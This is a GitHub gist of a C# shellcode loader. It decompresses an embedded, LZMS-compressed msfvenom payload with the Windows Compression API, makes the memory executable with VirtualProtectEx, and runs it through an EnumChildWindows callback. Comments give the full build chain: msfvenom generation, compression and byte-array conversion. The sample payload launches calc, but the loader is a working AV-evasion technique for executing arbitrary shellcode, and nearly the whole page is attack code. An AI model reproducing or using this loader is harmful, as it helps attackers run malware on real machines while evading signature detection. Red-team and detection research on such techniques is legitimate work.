Skip to content

Instantly share code, notes, and snippets.

@Wra7h
Created December 2, 2021 08:04
Show Gist options
  • Save Wra7h/73a0000ad37e6e3cd995742e358c79ab to your computer and use it in GitHub Desktop.
Save Wra7h/73a0000ad37e6e3cd995742e358c79ab to your computer and use it in GitHub Desktop.
Decompress shellcode w/ execution
//Decompressing shellcode and execution via callback
//Compile: C:\windows\Microsoft.NET\Framework64\v3.5\csc.exe C:\Path\To\DecompressExecute.cs
//Windows Compression API: https://docs.microsoft.com/en-us/windows/win32/api/_cmpapi/
//Supported Algorithms: https://docs.microsoft.com/en-us/windows/win32/api/compressapi/nf-compressapi-createcompressor
// Step 1: generate shellcode
// Msfvenom: msfvenom -p windows/x64/exec CMD=calc exitfunc=thread -f raw -o calc.bin
// Step 2: Compress the shellcode with my compress.cs gist here: https://gist.github.com/Wra7h/4d56791c2d0b5c1f27a67f3bc0ab924d
// Compression command: .\compress.exe -in C:\path\to\calc.bin -out .\LZMScalc.bin -alg 5
// Step 3: Convert to byte array with PowerShell
// PowerShell: PS C:\ > Write-Host ("Size of byte array: " + (get-content -Encoding Byte .\LZMScalc.bin).Count);(get-content -Encoding Byte .\LZMScalc.bin) -join ", " | clip
using System;
using System.Runtime.InteropServices;
namespace Compress
{
class Program
{
static void Main(string[] args)
{
// Compressed msfvenom calc payload with the COMPRESS_ALGORITHM_LZMS. Converted to byte[] with PowerShell.
byte[] compressedpayload = new byte[312] { 10, 81, 229, 192, 24, 0, 178, 5, 16, 1, 0, 0, 0, 0, 0, 0, 16, 1, 0, 0, 0, 0, 0, 0, 254, 0, 0, 0, 213, 22, 79, 111, 201, 206, 36, 104, 21, 32, 170, 254, 38, 217, 22, 42, 209, 20, 85, 230, 69, 253, 33, 13, 87, 115, 0, 0, 0, 0, 0, 192, 24, 91, 216, 88, 149, 209, 78, 172, 250, 0, 212, 222, 228, 38, 142, 118, 11, 234, 192, 247, 1, 21, 248, 12, 120, 80, 136, 43, 179, 170, 179, 183, 210, 180, 82, 80, 233, 0, 223, 173, 254, 63, 124, 91, 140, 209, 13, 178, 2, 26, 27, 145, 50, 128, 0, 93, 164, 174, 74, 255, 191, 74, 151, 88, 172, 22, 22, 3, 252, 95, 42, 8, 132, 125, 16, 73, 43, 40, 203, 210, 202, 242, 170, 118, 44, 11, 32, 33, 18, 84, 10, 139, 195, 90, 32, 49, 84, 43, 51, 139, 196, 218, 194, 194, 174, 139, 206, 41, 66, 32, 97, 26, 96, 138, 175, 3, 199, 209, 218, 180, 57, 235, 202, 130, 72, 179, 24, 148, 252, 95, 9, 142, 87, 138, 36, 16, 160, 69, 34, 12, 164, 69, 40, 171, 113, 70, 7, 92, 136, 100, 209, 33, 2, 46, 66, 7, 32, 241, 8, 45, 94, 165, 74, 76, 170, 93, 60, 56, 32, 168, 33, 57, 56, 8, 132, 69, 128, 47, 140, 135, 21, 184, 218, 36, 199, 52, 41, 41, 221, 62, 32, 65, 201, 85, 32, 22, 134, 213, 131, 73, 45, 34, 149, 73, 199, 32, 89, 69, 73, 65, 5, 69, 5, 85, 0, 192, 232, 240, 228, 131, 72, 252, 32, 89, 69, 73, 65, 5, 69, 5, 85, 0, 192, 232, 240, 228, 131, 72, 252, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
IntPtr hDecompressor = IntPtr.Zero;
CreateDecompressor((uint)COMPRESS_ALGORITHM.COMPRESS_ALGORITHM_LZMS, IntPtr.Zero, out hDecompressor); //Make sure to change this COMPRESS_ALGORITHM to whichever one you compressed the payload with.
if (hDecompressor != IntPtr.Zero)
{
byte[] Trash = new byte[] { };
uint UncompressedDataSize = 0;
if (!Decompress(hDecompressor, compressedpayload, (uint)compressedpayload.Length, Trash, 0, out UncompressedDataSize))//Run once to get size of uncompressed data. This should fail and return false.
{
if (UncompressedDataSize > 0)
{
uint UncompressedDataSize2 = 0; //Don't really care about this
byte[] UncompressedBuffer = new byte[UncompressedDataSize];
if (!Decompress(hDecompressor, compressedpayload, (uint)compressedpayload.Length, UncompressedBuffer, UncompressedDataSize, out UncompressedDataSize2)) //Run again to decompress for real this time
{
Console.WriteLine("[!] Decompress error: {0}", Marshal.GetLastWin32Error().ToString());
}
else
{
CloseDecompressor(hDecompressor); // No longer need Decompressor.
GCHandle pUncompressedArray = GCHandle.Alloc(UncompressedBuffer, GCHandleType.Pinned);
uint oldProtect = 0;
if (VirtualProtectEx(GetCurrentProcess(), pUncompressedArray.AddrOfPinnedObject(), (UIntPtr)UncompressedDataSize, 0x20/*RX*/, out oldProtect))
{
//Execute shellcode
EnumChildWindows(IntPtr.Zero, pUncompressedArray.AddrOfPinnedObject(), IntPtr.Zero);
}
}
}
}
}
}
[DllImport("user32.dll")]
public static extern bool EnumChildWindows(IntPtr window, IntPtr callback, IntPtr i);
[DllImport("Cabinet.dll")]
static extern bool CreateDecompressor(uint Algorithm, IntPtr AllocationRoutines, out IntPtr DecompressorHandle);
[DllImport("Cabinet.dll")]
static extern bool CloseDecompressor(IntPtr DecompressHandle);
[DllImport("Cabinet.dll")]
static extern bool Decompress(IntPtr DecompressorHandle, byte[] CompressedData, uint CompressedDataSize,byte[] UncompressedBuffer, uint UncompressedBufferSize, out uint UncompressedDataSize);
[Flags]
public enum COMPRESS_ALGORITHM
{
COMPRESS_ALGORITHM_MSZIP = 2,
COMPRESS_ALGORITHM_XPRESS = 3,
COMPRESS_ALGORITHM_XPRESS_HUFF = 4,
COMPRESS_ALGORITHM_LZMS = 5,
COMPRESS_RAW = 1 << 29
}
[DllImport("kernel32.dll")]
static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment